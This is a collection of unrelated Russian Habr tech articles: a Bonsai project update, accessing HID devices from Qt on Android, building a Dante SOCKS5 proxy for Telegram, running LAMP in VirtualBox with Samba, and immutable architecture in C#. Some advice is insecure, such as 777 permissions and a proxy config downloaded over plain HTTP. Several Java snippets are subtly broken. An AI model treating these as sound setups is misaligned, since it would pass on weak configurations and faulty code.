С технической точки зрения перенос вычислений с клиента на сервер вызвал несколько трудностей. Чем запускать JS-код внутри .NET Core? Первой мыслью было использовать замечательную библиотеку [Javascript Engine Switcher](https://github.com/Taritsyn/JavaScriptEngineSwitcher), которую написал [Taritsyn](https://habr.com/ru/users/taritsyn/). Увы, для моей задачи она не подошла: ни один из существующих движков не смог переварить код ELK.js. Вместо этого был использован встроенный механизм `NodeServices`, в котором все сразу заработало, как часы.
Да, теперь Bonsai требует два рантайма, но благодаря докеру это не так страшно. Да, `NodeServices` собираются [отправить на пенсию](https://github.com/aspnet/AspNetCore/issues/12890) в одной из следующих версий ASP.NET Core, но сообщество собирается его поддерживать. А куда деваться? Современная веб-разработка полностью состоит из подобных компромиссов. Главное, чтобы это давало результат.
### Загрузка документов
Теперь помимо фото и видео Bonsai поддерживает загрузку PDF-файлов. Это может быть удобно для документов — в частности, свидетельств о рождении, браке или смерти.
Первоначально предполагалось делать для документов маленькие превью-картинки. Увы, эта идея разбилась о суровые скалы действительности: ни одна из существующих библиотек не подошла по тому или иному критерию. Были рассмотрены:
* [iText7](https://github.com/itext/itext7-dotnet) — несовместимость лицензии с MIT
* [PDF.js](https://github.com/mozilla/pdf.js) — огромное количество зависимостей, контейнер раздувался вдвое
* Обертки для GhostScript — также проблемы с лицензией, плюс практически все заброшены и не поддерживают .NET Core
Если я что-то упустил и святой грааль конвертации PDF в изображение все-таки существует — пожалуйста, напишите в комментариях!
### Новости на главной
На главной странице под календарем теперь показываются последние измененные страницы и загруженные медиа-файлы:
### Обязательный дисклеймер
Проект является некоммерческим и предоставляется «как есть». В нем есть баги. Один раз по банальному недосмотру в master проскочил код, который *чуть не* очистил базу. Поэтому если вы цените данные, которые вы заводите в Bonsai, то периодически, и *особенно* при каждом обновлении:
Делайте бэкапы.
ДЕЛАЙТЕ БЭКАПЫ!
Д Е Л А Й Т Е Б Э К А П Ы ! ! !
### Что дальше?
Впереди еще много интересных задач, которые бы хотелось сделать за следующий год:
* *Ранжирование страниц*: единая автоматическая метрика, позволяющая сортировать страницы по заполненности их данных. Позволит легко ответить вопросы «какие страницы можно показать в качестве эталона» и, наоборот, «над какими еще нужно поработать».
* *Редизайн главной страницы админки*: изменения будут показываться в виде, похожем на «ленту новостей» в соцсетях.
* *Технические задачи*: переход на .NET Core 3, всевозможный рефакторинг
Также есть задачи, которые хотелось бы сделать, но у меня не хватает на них времени и компетенций. Надеюсь на помощь сообщества — если не забесплатно, то хотя бы за символическое вознаграждение. Если уверены в своих силах и хотите поучаствовать — пожалуйста, пишите мне в телеграм, обсудим.
* *Компонент календаря*: используется стандартный, но он немного кривоват и не поддерживает неточные значения (`2019.??.??`): нужно написать полноценный.
* *Улучшение поиска*: поиск в ElasticSearch иногда дает [странные](https://github.com/impworks/bonsai/issues/104#issuecomment-559089458) результаты. Скорее всего, я просто не умею пользоваться эластиком — нужно переписать [адские конфиги](https://github.com/impworks/bonsai/blob/master/Code/Services/Elastic/ElasticService.cs) со знанием дела.
* *Распознавание лиц*: хорошо бы автоматически распознавать лица на загружаемых фото и привязывать их к страницам. Решений на .NET Core, одновременно открытых и дающих вменяемые результаты, пока не нашел.
Репозиторий проекта доступен по адресу:
**<https://github.com/impworks/bonsai>**.
Если вы используете Bonsai — пожалуйста, расскажите об этом в комментариях. Буду рад критике и предложениям. | https://habr.com/ru/post/481600/ | null | ru | null |
# Доступ к HID-устройствам из программы на Qt под Android
#### Введение
С выходом Qt 5 появилась удобная возможность расширить список поддерживаемых программой платформ и на мобильные ОС, в частности на Android.
Сам процесс портирования программы с десктопной версии Qt на мобильную свелся к банальной перекомпиляции. Интерфейс и логика завелись сразу, за исключением той части, без которой, собственно, программа бесполезна: обмену с HID-устройством.
#### Первые трудности
С самого начала для общения с устройством используется библиотека HIDAPI. Она мультиплатформенная и ее легко использовать.
Первая трудность, с которой пришлось столкнуться заключалась в том что под Android нет hidraw, который использовался для доступа к устройствам под десктопный Linux. Для обхода пришлось перейти на использование библиотеки libusb и ее интерфейса к ней в HIDAPI.
Первый запуск показал, что работает перечисление устройств, но открыть файл устройства нельзя, из-за отсутствия прав у приложения.
В файл README libusb/android есть описание возможных путей обхода этой проблемы: либо менять права у файла устройств, либо воспользоваться интерфейсом android.hardware.usb.UsbDevice, для открытия устройств.
Простая смена маски доступа к файлу на 777 на рутованом устройстве подтвердила работоспособность выбранной схемы, но и привела к пониманию того, что это не совсем верный путь, т.к. он работоспособен на очень маленьком круге устройств. Поэтому пришлось лезть в дебри API Android.
Чтение документации показало что есть два пути доступа к устройству: использование intent filter и простое перечисление устройств.
Первый способ заставить работать не удалось, никаких событий при появлении устройства в системе программе не приходило. Собственно этот путь тоже тупиковый, т.к. подразумевает, что программа должна быть запущена раньше, чем подключено устройство, и это значит что нам следует в полной мере воспользоваться предоставляемым API для доступа к USB.
Что бы обойтись минимумом переделок в существующем коде было решено вынести в Java-часть только код связанный с запросом разрешения доступа к устройству у пользователя и собственно открытие устройства. Всю остальную работу по перечислению устройств и обмена данными выполняет связка HIDAPI-libusb.
#### Реализация.
Первое, что пришлось сделать, это запрос разрешения у пользователя на открытие устройства.
Опять же, подстраиваясь под существующий алгоритм получилось следующее: при нахождении устройства, путь к его файлу передается в функцию в класса Activity программы посредством JNI-интерфейса:
```
int HidTransport::openAndroidDevice(QString devPath)
{
QAndroidJniObject dP = QAndroidJniObject::fromString(devPath);
jint dFD = QAndroidJniObject::callStaticMethod("org/HidManager/HidDevice", "tryOpenDevice", "(Ljava/lang/String;)I", dP.object());
return dFD;
}
```
Здесь хочется сделать некоторое отступление: в силу каких-то причин Qt интерфейс к JNI может вызывать только статические методы класса. Поэтому мы создаем фактически сингелтон. Ниже приведены конструктор и onCreate класса Activity:
```
private static HidDevice m_instance;
private static UsbManager m_usbManager;
private static PendingIntent mPermissionIntent;
private static HashMap deviceCache = new HashMap();
private static final String ACTION\_USB\_PERMISSION = "com.android.example.USB\_PERMISSION";
public HidDevice()
{
m\_instance = this;
}
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
if (m\_usbManager==null) {
m\_usbManager = (UsbManager) m\_instance.getSystemService(Context.USB\_SERVICE);
}
mPermissionIntent = PendingIntent.getBroadcast(this, 0, new Intent(ACTION\_USB\_PERMISSION), 0);
IntentFilter filter = new IntentFilter(ACTION\_USB\_PERMISSION);
registerReceiver(mUsbReceiver, filter);
}
@Override
public void onDestroy()
{
super.onDestroy();
}
```
Функция tryOpenDevice, вызываемая из нативного кода выглядит следующим образом:
```
public static int tryOpenDevice(String devPath)
{
if (deviceCache.containsKey(devPath)) {
int fd = deviceCache.get(devPath);
return fd;
}
deviceCache.put(devPath, -1);
HashMap deviceList = m\_usbManager.getDeviceList();
Iterator deviceIterator = deviceList.values().iterator();
while(deviceIterator.hasNext()) {
UsbDevice device = deviceIterator.next();
if (devPath.compareTo(device.getDeviceName())==0) {
m\_usbManager.requestPermission(device, mPermissionIntent);
break;
}
}
}
```
deviceCache выполняет роль промежуточного хранилища состояния процесса открытия устройства. Такой вариант был выбран потому, что алгоритм нативного кода пытается с некоторой периодичностью открыть каждое найденное, но еще не открытое устройство.
Далее в работу вступает механизм разрешений Android и для получения результатов служит эта функция:
```
private final BroadcastReceiver mUsbReceiver = new BroadcastReceiver() {
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (ACTION_USB_PERMISSION.equals(action)) {
synchronized (this) {
UsbDevice device = (UsbDevice)intent.getParcelableExtra(UsbManager.EXTRA_DEVICE);
if (intent.getBooleanExtra(UsbManager.EXTRA_PERMISSION_GRANTED, false)) {
if(device != null){
m_instance.openDevice(device);
}
}
}
}
}
};
```
Как из нее видно, если разрешение получено, то вызывается функция открытия устройства:
```
public void openDevice(UsbDevice device)
{
try {
if (!res) return;
UsbDeviceConnection devConn = m_usbManager.openDevice(device);
Integer fd = devConn.getFileDescriptor();
deviceCache.put(device.getDeviceName(), fd);
}
catch (InterruptedException e) {
return;
}
}
```
Которая сохраняет полученный файловый дескриптор в deviceCache.
После прохождения всех этих этапов мы получаем файловый дескриптор открытого устройства. Но тут появляется другая проблема: HIDAPI и libusb не умеют принимать дескрипторы в качестве указателя на устройство.
К счастью, эта проблема решилась просто. Существует [форк libusb](https://github.com/martinmarinov/rtl_tcp_andro-/tree/master/jni/libusb-andro), принимающий в качестве аргумента файловый дескриптор открытого устройства.
#### Заключение
Вот так, достаточно просто, можно получить доступ к USB из нативного кода.
К сожалению, данный подход работает не на всех устройствах. Многие производители не включают разрешение
android.hardware.usb.host в свои прошивки, что приводит к ситуации, когда физически планшет может работать в качестве хоста для флешек или мышей, но другие устройства не работают. При этом файл USB-устройства ядром создается, но даже UsbManager их не видит.
В данном случае, это ограничение возможно обойти на устройствах с работоспособным root, меняя права доступа на файл, т.к. libusb способен видеть подключенные устройства. Но пока что это только теория. | https://habr.com/ru/post/238241/ | null | ru | null |
# Безопасный SOCKS5 прокси для Telegram за 1 Евро и 10 минут
Не все прокси одинаково полезны. На волне новостей о блокировке мессенджера Телеграмм стало актуально поднимать свой SOCKS5 прокси, так как чужой использовать не безопасно — неизвестно, кому принадлежат серверы, какое ПО на них используется, и какие в нем присутствуют уязвимости. Кроме того, публичные прокси часто очень медленные, поскольку большое число клиентов одновременно «пытаются» его использовать, перегружая ресурсы сервера. Под катом инструкция по быстрой настройке приватного SOCKS5 прокси с аутентификацией за 1 евро и 10 минут времени и возможностью в дальнейшем расширить защиту сервера при помощи усиленной аутентификации.
Решил проверить предложение итальянского хостинг-провайдера [Aruba](http://aruba.it) , который предлагает VPS за 1 евро в месяц с белым IP, входящим в эту цену. За 1 евро получил боевой сервер с 1 ядром. 1 Гб памяти, 20 Гб хранилища, 2 Тб трафика в месяц. В качестве операционной системы я выбрал свою любимую Ubuntu server 16.04. В качестве прокси сервера — Dante.
Установка ОС производится при конфигурировании сервера из шаблона. Спустя 2-3 минуты после создания, машина будет готова к SSH по установленному паролю, либо загруженному SSH-ключу (в той же веб-админке).
Сразу оговорюсь, что аутентификация у прокси по системному пользователю не работает в пакете, предоставляемом в дистрибутиве, а открытый прокси нам не нужен. Мы воспользуемся дистрибутивом с исходниками и соберем Dante сами, благо процесс сборки на нашей ОС проходит без единой ошибки. Итак, приступим:
Регистрируемся на arubacloud, заводим сервер за 1 евро, создаем по шаблону ОС Ubuntu Server 16.
Заходим по SSH на наш сервер, скачиваем и собираем Dante.
```
wget https://www.inet.no/dante/files/dante-1.4.1.tar.gz
tar -xvf dante-1.4.1.tar.gz
cd dante-1.4.1
apt-get install gcc make
mkdir /home/dante
./configure --prefix=/home/dante
make
make install
```
Корректность установки можно проверить введя
```
/home/dante/sbin/sockd -v
```
Скачаем файл настроек
```
wget -O /home/dante/danted.conf http://a.a-rd.ru/danted.conf
```
Конфигурация, если используется на описываемой платформе, не отличается, т. е. по умолчанию именно такая. Все необходимое уже есть.
```
logoutput: /var/log/socks.log
internal: eth0 port = 1080 #
В качестве входящего соединения используем наш дефолтный интерфейс на порту 1080
external: eth0 #В качестве выходного также его
method: username
user.privileged: root #Рут нужен для возможности проводить аутентификацию системных пользователей
user.notprivileged: nobody
client pass {
from: 0.0.0.0/0 to: 0.0.0.0/0 #Правила оставляем как есть, для наших целей этого достаточно
log: error connect disconnect
}
client block {
from: 0.0.0.0/0 to: 0.0.0.0/0
log: connect error
}
pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
log: error connect disconnect
}
block {
from: 0.0.0.0/0 to: 0.0.0.0/0
log: connect error
}
```
Для запуска выполните
```
/home/dante/sbin/sockd -f /home/dante/danted.conf -D
```
Бинарник лежит именно в
```
home/dante/sbin/
```
Для остановки
```
pkill sockd
```
Создадим системного пользователя, которого будем использовать для нашего прокси (без возможности зайти по SSH).
```
useradd --shell /usr/sbin/nologin username
```
Зададим ему пароль
```
passwd username
```
Перезапустим Dante с нашим конфигом
```
pkill sockd
/home/dante/sbin/sockd -f /home/dante/danted.conf -D
```
Если перезагрузить сервер, Dante будет необходимо запустить вручную.
Теперь необходимо подключить прокси в настройках Мессенджера: Настройки > Данные и диск -> Использовать прокси -> SOCKS5. Вводим наш IP, 1080 порт, логин и пароль для созданного пользователя. Настройка доступна для всех десктопных приложений Телеграмм в разделе Расширенные настройки -> Тип соединения -> TCP с прокси.
Как и положено в мире информационной безопасности, сразу после настройки нужно потратить еще немного времени на защиту своего сервера, а именно доступа к консоли по SSH. Для этого рекомендую заменить традиционный подход к защите доступа с помощью традиционной пары «логин-пароль» на специализированные устройства для обеспечения защищенного доступа на основе асимметричной криптографии, в нашем примере это USB-токены JaCarta PKI. При таком сценарии вы будете входить на сервер по сертификату, закрытый ключ от которого находится в самом устройстве JaCarta PKI и не может быть извлечен. Как это сделать, описано в этой [статье](https://habrahabr.ru/company/aladdinrd/blog/327868/).
Если у вас нет желания использовать устройства для усиленной аутентификации на основе асимметричной криптографии, вы можете настроить вход по одноразовым паролям (OTP) с сервисом JaCarta Authentication Server. Статью об этом можно найти [здесь](https://habrahabr.ru/company/aladdinrd/blog/331908/) . | https://habr.com/ru/post/353738/ | null | ru | null |
# Настраиваем LAMP для работы в Windows через VirtualBox
Здравствуйте.
Статья из разряда – шоб для себя було, но, думаю, будет интересна многим.
Началось с того, что потребовалось мне в PHP работать с xlsx-файлом, что, по сути, переименованный zip. И вот как-то сложилось, что Денвер мне не понравился с самого начала изучения PHP. Не то чтоб он мне совсем не нравился, но хоть я большую часть времени и win\_user, но вот получилось так, что люблю понимать, как оно работает и иметь возможность самостоятельной настройки. Поэтому Apache+PHP+MySQL настраивал на Windows самостоятельно. Первое время все ставил из exe и msi файлов, потом как-то перешел на zip-пакеты и даже стал понимать, что я там прописываю в conf и ini файлах. Но zip под Windows работать не захотел, при этом прекрасно работая под Ubuntu. Поковырявшись в «этих ваших интернетах» стало понятно, что zip под Windows это очень муторно. Видимо, просто я еще не созрел для понимания действий, описанных в мануалах, либо использовать готовые классы на php, но, опять же, с ними тоже не все так гладко.
Вывод очевиден — ставим Ubuntu, поднимаем LAMP и вперед, с песнями. Опыт работы в ось отличной от Windows вроде бы есть, но, как всегда, есть какое-нибудь «но». И, в данном случае, это то, что мне очень «ндравиться» — Windows 8.
Две системы поставить вроде бы не сложно, но придется каждый раз перезагружаться. А я не люблю выключать компьютер, максимум — режим сна для ноутбука и гибернация для стационара.
Второй вариант — установить Ubuntu в VirtualBox, и при необходимости просто сворачивать окно с виртуалкой. Почти идеальный вариант. На стационаре с 8-ю ядрами, естественно, все отлично, а вот на ультрабуке с core i3 второго поколения и частотой 1300Мгц уже все не так прекрасно.
Да и Sublime Text под Windows мне нравится значительно больше, сугубо визуально.
Потому появился хитрый план:
1. Устанавливаем Ubuntu-server в VirtualBox
2. Настраиваем в samba папку с сайтом
3. В Windows подключаем папку из Ubuntu как сетевой диск
Покопавшись в гугло-яндексе, нашёл-таки всю необходимую информацию. И, с одной стороны, все работает, все прекрасно, а с другой, вдруг потребуется переустановка или кто-то захочет сделать так же. В общем, решил все свести в одну статью и поделиться с народом.
VirtualBox у вас уже должен быть установлен. Немного о конфигурации виртуалки которую я использую на выше озвученном ультрабуке:
* процессор – 1 ядро
* оперативка – выделяем от 512Mb и до… Исходя из возможностей вашей машинки, у меня 12Gb, потому я позволил забрать 2Gb
* жесткий диск – я сделал динамическим на 80Gb
* и для сети я выбрал следующее
Для установки я выбрал Ubuntu-server 13.04. Установка стандартная, остановлюсь только на паре моментов:
диск сразу настроил как LVM. Если в дальнейшем потребуется увеличить его емкость, то данный вариант весьма удобен.
Чтобы потом не настраивать в ручную, сразу выберем нужные компоненты.
Вот мы и зашли в первый раз в систему. На первом экране нас интересует, какой IP получила система.
В моем случае это 192.168.31.111.
Теперь можно запускать какой ни будь [SSH-клиент](http://www.netsarang.com/download/down_xsh.html) и подключиться к свеже установленной системе. Вся дальнейшая работа будет идти по SSH.
Первым делом проверим обновления:
```
sudo apt-get update
sudo apt-get upgrade
```
пока не заморачиваемся задаваемыми вопросами, отвечаем на все «да».
Теперь установим webmin. Можно просто скачать с сайта deb-пакет, но это неудобно из-за того, что потребуется вручную устанавливать зависимости, поэтому мы подключим необходимый репозиторий.
Получаем и устанавливаем ключ:
```
wget http://www.webmin.com/jcameron-key.asc
sudo apt-key add jcameron-key.asc
```
Добавляем источник:
```
sudo nano /etc/apt/sources.list
deb http://download.webmin.com/download/repository sarge contrib (можно прописать первой строчкой)
```
Сохраняем и выходим .
Обновляемся:
```
sudo apt-get update
```
и устанавливаем:
```
sudo apt-get install webmin
```
Установка сама подтянет все зависимости, нам нужно только соглашаться.
Установка прошла успешно и теперь можно открыть наш сервер в windows-браузере. В адресной строке вводим 192.168.31.111:10000. Браузер перекинет нас на защищенное соединение (https).
И попадаем на страничку ввода логина/пароля.
Вернемся в SSH. Теперь можно установить ftp сервер, например pure-ftpd:
```
sudo apt-get install pure-ftpd
```
Теперь, если вы наберете в браузере `192.168.31.111`, у вас должно открыться окно с запросом логина/пароля.
Вот и все ftp-сервером можно пользоваться.
Собственно, уже можно приступать к программированию на PHP, но закидывать каждый раз файлы через ftp не совсем удобно.
Поэтому предлагаю настроить samba-сервер и подключить папку из ubuntu к windows машине как обычный сетевой диск. Заходим в webmin, открываем Servers -> Samba Windows File Sharing.
Выбираем Windows Networking:
Заполняем поля:
* Workgroup(Рабочая группа)
* Server name – по этому имени компьютер будет виден в windows-сети
* Security – это уровень безопасности, пока выставим на User level
Сохраняемся.
Далее жмем на ссылку Create a new file share и создаем новый файловый ресурс.
Тут нужно заполнить следующие поля:
* Share name – это будет имя сетевой папки
* Directory to share – вписываем директорию которую нужно расшарить
* Create with permissions – выставляем уровень прав, рекомендую пока не заморачиваться и выставить максимальный уровень (777)
* Browseable – выставляем в yes, этим мы разрешаем показывать расшареный ресурс, иначе путь до папки нужно будет прописывать ручками (например \\samba\sites).
Нажимаем кнопочку Create (создать).
Теперь в списке ресурсов выбираем наш, свеже созданный.
Выбираем Security and Access Control.
Параметр Writable – устанавливаем в yes, этим мы разрешили записывать файлы в нашу шару.
Сохраняем.
Возвращаемся в Servers->Samba Windows File Sharing и жмем Restart Samba Server.
Все, можем использовать наш сетевой диск.
Открываем проводник , выбираем **сетевое подключение**.
Выбираем наш сервер.
Выбираем расшареную папку.
Система попросит у нас логин/пароль. Введем их, и не забудем поставить галочку, чтобы система запомнила нас и больше не мучила подобными вопросами.
На этом могли бы и закончить, но в windows принято обращаться к дискам по имени, поэтому вернемся на шаг назад.
Теперь выберем сетевую папку правой кнопкой. Из появившегося списка выбираем «подключить сетевой диск».
По умолчанию система предложит первую свободную букву с конца алфавита, но вы можете выбрать любую понравившуюся, кроме тех, за которыми закреплены локальные диски (правда их в списке не будет). У меня это буква «А».
Таким образом, когда мы снова откроем проводник , то увидим, что диск появился в начальном списке «мой компьютер» и у него есть буква.
Теперь наша папка будет доступна абсолютно для всех программ как обычный жесткий диск.
Замечательно. Все работает, но где же файлы нашего сайта? А вот это мы и исправим в финальной части нашей статьи.
Первым делом установим phpMyAdmin. Сделать это можно двумя способами:
* первый вариант установить из репозитория
```
sudo apt-get install phpmyadmin
```
* и, второй вариант, скачать архив с официального сайта
Мы пойдем вторым путем и установим с оф. сайта. Для этого, пока мы еще находимся в windows, пройдем по ссылке [`www.phpmyadmin.net/home_page/index.php`](http://www.phpmyadmin.net/home_page/index.php) и скачаем самую свежую версию (**4.0.4.1**). Далее заходим на наш сетевой диск и распаковываем на него скачанный архив. Для удобства рекомендую переименовать папку во что-то покороче, например, **phpmyadmin**.
Настала пора вернуться в SSH:
```
sudo nano /etc/apache2/sites-available/phpmyadmin.dev
```
У нас открылся чистый лист в текстовом редакторе. Впишем в него следующее:
```
ServerName phpmyadmin.dev
ServerAlias www.phpmyadmin.dev
DocumentRoot /home/%USER%/phpmyadmin
```
где %USER% заменить на ваше имя пользователя, а **phpmyadmin.dev** – это имя нашего нового сайта, на котором, собственно, и будет работать phpmyadmin. Естественно, вы можете использовать любое другое имя для сайта.
Сохраняем файл, выходим и сообщаем apache о вновь созданном сайте:
```
sudo a2ensite phpmyadmin.dev
```
Ubuntu посказывает нам, что для применения конфигурации требуется перезагрузить apache.
```
sudo service apache2 reload
```
Теперь необходимо сообщить системе о новом сайте, для этого внесем изменения в файл hosts:
```
sudo nano /etc/hosts
```
В первой строчке открывшегося файла скорее всего увидите
```
127.0.0.1 localhost
```
Допишем в конец строки, через пробел, название нашего сайта. В итоге первая строка будет выглядеть примерно так:
```
127.0.0.1 localhost phpmyadmin.dev
```
Сохраняем, выходим.
Все. Сайт готов, но пока о нем знает только Ubuntu. Прежде чем перейти к настройке Windows, создадим еще один сайт, например **test.dev**.
Для этого я предлагаю создать каталог sites:
```
mkdir sites
```
а уже в нем test.dev:
```
mkdir sites/test.dev
```
Повторим действия для **phpmyadmin** (единственно, заменим **phpmyadmin** на **test.dev**):
```
sudo nano /etc/apache2/sites-available/test.dev
```
```
ServerName test.dev
ServerAlias www.test.dev
DocumentRoot /home/%USER%/sites/test.dev
```
Сохранить, выйти.
```
sudo a2ensite test.dev
sudo service apache2 reload
sudo nano /etc/hosts
```
```
127.0.0.1 localhost phpmyadmin.dev test.dev
```
Сохранить, выйти.
Для того, чтобы объяснить windows о существовании сайтов, достаточно их прописать в файл hosts (да, да в Windows тоже есть такой файл). Синтаксис Windows-файла абсолютно такой же, как и в Ubuntu. Найти его можно в папке Windows/System32/Drivers/etc. Открываем его в любом текстовом редакторе (скорее всего редактор необходимо будет открыть с правами администратора). И дописываем строчку:
```
192.168.31.111 phpmyadmin.dev test.dev
```
Вписать ее можно в любую часть файла (начало/конец – это уже по вашему усмотрению). Ну, и не забываем, что IP нужно вписывать такой, который присвоен Ubuntu.
Сохраняем, закрываем.
Осталось обновить DNS. Открываем командную строку от имени администратора и выполняем:
```
ipconfig /flushdns
```
Все. Теперь набираем в браузере только что добавленное имя сайта и наслаждаемся результатом.
Осталось только включить поддержку ЧПУ, для этого вернемся в панель webmin:
Откроем меню Servers -> Apache Webserver и переключимся на вкладку Global configuration:
Выбираем пункт Configure Apache Modules
И ставим галочку напротив rewrite
Жмем кнопку (внизу) Enable Selected Modules
Справа сверху жмем по очереди:
* Apply Changes
* Stop Apache
И снова запускаем – Start Apache.
И напоследок, небольшие хитрости для удобства работы:
Поскольку в наборе Denwer по умолчанию выставлено отображение ошибок PHP в браузер, а на этапе отладки это вполне себе нужная информация, предлагаю не заморачиваться с настройками php.ini, а просто добавить в файл .htaccess в корне сайта следующие строчки
```
php_flag display_errors on
php_flag display_startup_errors on
```
Таким же образом можно включать и другие параметры PHP.
Такой сервер отлично себя чувствует даже на слабеньком ультрабучном core i3, при этом абсолютно его не нагружая. На моем ультрабуке загрузка процессора поднимается до 5% при работе в phpmyadmin.
Информация собиралась по запросам в гугл и яндекс, но большая их часть вела на хабр.
**UPD.** Если кому пригодилась данная инструкция, прошу принять во внимание что со сборкой Ubuntu-server 13.10 есть некоторые проблемы. Чуть позже, когда/если разберусь добавлю еще один UPD. | https://habr.com/ru/post/190010/ | null | ru | null |
# Иммутабельная архитектура
Эта статья является переводом материала [«Immutable architecture».](https://enterprisecraftsmanship.com/posts/immutable-architecture/)
В этом посте автор оригинала хотел бы показать общий подход к внедрению иммутабельности в кодовую базу на архитектурном уровне.
### Иммутабельность, состояние и побочные эффекты
Прежде чем мы начнем, давайте определим термины. Скорее всего, вы уже сталкивались с ними.
Прежде всего, термин «Иммутабельность», применяемый к структуре данных, такой как класс, означает, что объекты этого класса не могут изменяться в течение их жизненного цикла. Существует несколько типов иммутабельности со своими нюансами, но это не являются для нас существенным. По большей части мы можем сказать, что класс является либо изменяемым, что означает, что его экземпляры могут изменяться тем или иным образом, либо иммутабельным (неизменяемым), что означает, что как только мы создадим экземпляр этого класса, мы не сможем изменить его позже.
Еще один важный термин - «Состояние». Он указывает на данные, которые меняются со временем. Важно понимать, что состояние - это не просто данные, составляющие класс, состояние - это подмножество этих данных, которое изменяется в течение своего жизненного цикла. Неизменяемый класс не имеет состояния в этом смысле, только изменяемые классы.
Побочный эффект - это изменение, которое происходит в каком-то состоянии. Обычно мы говорим, что операция оставляет побочный эффект, если она изменяет экземпляр класса, обновляет файл на диске или сохраняет некоторые данные в БД.
Вот пример, который поможет связать все три концепции воедино:
```
public class UserProfile // Mutable, contains state
{
private User _user;
private string _address;
public void UpdateUser(int userId, string name) // Leaves a side effect
{
_user = new User(userId, name);
}
}
public class User // Immutable, doesn't contain state
{
public int Id { get; }
public string Name { get; }
public User(int id, string name)
{
Id = id;
Name = name;
}
}
```
Класс User иммутабельный: все его свойства определены как доступные только для чтения. Из-за этого единственный способ для метода UpdateUser обновить пользовательское поле - создать новый экземпляр user и заменить им старый. Сам класс User не содержит состояния, в отличие от класса UserProfile. Можно сказать, что метод UpdateUser оставляет побочный эффект, изменяя состояние объекта.
### Иммутабельная архитектура
Методы с побочными эффектами затрудняют осмысление вашего кода из-за нечестности, которую они в него вносят. Однако, даже если вы попытаетесь как можно больше навязать иммутабельность, вы не сможете полностью избежать их. Программирование системы, которая не меняется, было бы непрактичным. В конце концов, побочные эффекты - это то, что должны делать программы: они выполняют некоторые вычисления и так или иначе меняют свое состояние.
Итак, как бороться с побочными эффектами? Один из методов, который помогает нам в этом, - отделение логики предметной области приложения от логики применения побочных эффектов к состоянию системы.
Давайте подробнее остановимся на этом. Часто при обработке бизнес-транзакции наш код несколько раз изменяет некоторые данные с момента поступления запроса в приложение до момента его полной обработки. Это довольно распространенный паттерн, особенно в мире объектно-ориентированных языков программирования. Вместо этого мы можем изолировать код, который генерирует некоторые артефакты, от кода, который использует их для изменения состояния системы:
Затем первую часть можно сделать иммутабельной, избавив ее от любых побочных эффектов.
Такой подход дает нам два преимущества:
* Мы упрощаем логику предметной области, поскольку весь код в ней может быть написан функциональным способом с использованием математических функций.
* Такую логику становится очень легко проверить. Результаты всех операций четко определены в выходных данных методов, поэтому модульное тестирование сводится к передаче входных данных методу и проверке его выходных данных.
Такая архитектура является неотъемлемой частью того, как работает большинство кодовых баз, написанных на функциональных языках. В подавляющем большинстве случаев у вас есть неизменяемое ядро, которое принимает входные данные и содержит всю логику для обработки этих входных данных. Это ядро написано с использованием математических функций и для каждого запроса возвращает соответствующие артефакты без изменения состояния системы:
И также есть тонкая изменяемая оболочка, которая предоставляет входные данные для иммутабельного ядра и принимает полученные артефакты от него, а затем сохраняет их в БД. Эта оболочка вступает в игру, когда ядро завершает работу; она не содержит никакой бизнес-логики.
В целом изменяемая оболочка должна быть как можно более «тупой». В идеале, попробуйте довести ее до цикломатической сложности 1. Другими словами, постарайтесь не вводить в нее какие-либо условные операторы (операторы if).
Этот подход также делает естественным объединение различных подсистем вместе:
### Пример иммутабельной архитектуры
Примером может служить класс диспетчера аудита, который отслеживает всех посетителей некоторой организации. Он использует простые текстовые файлы в качестве основного хранилища:
Класс может добавлять новые записи в файл журнала и удалять информацию о существующих. Он также должен учитывать максимальное количество записей, которые может содержать один файл, и создавать новый файл в случае превышения этого предела.
Простая реализация будет выглядеть так. Два метода, которые принимают некоторые параметры и непосредственно считывают, и изменяют файлы:
```
public class AuditManager
{
private readonly int _maxEntriesPerFile;
public AuditManager(int maxEntriesPerFile)
{
_maxEntriesPerFile = maxEntriesPerFile;
}
public void AddRecord(string currentFile, string visitorName, DateTime timeOfVisit)
{
string[] lines = File.ReadAllLines(currentFile);
if (lines.Length < _maxEntriesPerFile)
{
// Add a record to the existing log file
}
else
{
// Create a new log file
}
}
public void RemoveMentionsAbout(string visitorName, string directoryName)
{
foreach (string fileName in Directory.GetFiles(directoryName))
{
// Remove records about the visitor from all files in the directory
}
}
}
```
Иммутабельные версии этих методов, с другой стороны, должны четко определять их входы и выходы:
```
public class AuditManager
{
public FileAction AddRecord(
FileContent currentFile, string visitorName, DateTime timeOfVisit)
{
// Return a new FileAction with the Update or Create action type
}
public IReadOnlyList RemoveMentionsAbout(
string visitorName, FileContent[] directoryFiles)
{
// Exercise each of the directory files and return a collection
// of actions that needs to be performed
}
}
public struct FileAction
{
public readonly string FileName;
public readonly string[] Content;
public readonly ActionType Type;
}
public enum ActionType
{
Create,
Update,
Delete
}
public struct FileContent
{
public readonly string FileName;
public readonly string[] Content;
}
```
Здесь класс FileContent полностью кодирует всю информацию, которая нужна нашей логике домена для правильной работы. FileAction, с другой стороны, содержит полный набор инструкций относительно того, что делать с файлами в файловой системе. Они инструктируют внешний мир о действиях, которые необходимо предпринять.
AuditManager не выполняет эти действия сам по себе, для этого нам нужно ввести класс Persister:
```
public class Persister
{
public FileContent ReadFile(string fileName)
{
return new FileContent(fileName, File.ReadAllLines(fileName));
}
public void ApplyChange(FileAction action)
{
switch (action.Type)
{
caseActionType.Create:
caseActionType.Update:
File.WriteAllLines(action.FileName, action.Content);
return ;
caseActionType.Delete:
File.Delete(action.FileName);
return ;
default:
throw new InvalidOperationException();
}
}
}
```
Обратите внимание, что Persister очень прост, он просто считывает данные из файловой системы и записывает в нее изменения.
Наконец, служба приложения должна склеить их вместе
```
public class ApplicationService
{
private readonly string _directoryName;
private readonly AuditManager_auditManager;
private readonly Persister_persister;
public ApplicationService(string directoryName)
{
_directoryName = directoryName;
_auditManager = new AuditManager(10);
_persister = new Persister();
}
public void AddRecord(string visitorName, DateTime timeOfVisit)
{
FileInfo fileInfo = new DirectoryInfo(_directoryName)
.GetFiles()
.OrderByDescending(x => x.LastWriteTime)
.First();
FileContent file = _persister.ReadFile(fileInfo.Name);
FileAction action = _auditManager.AddRecord(file, visitorName, timeOfVisit);
_persister.ApplyChange(action);
}
}
```
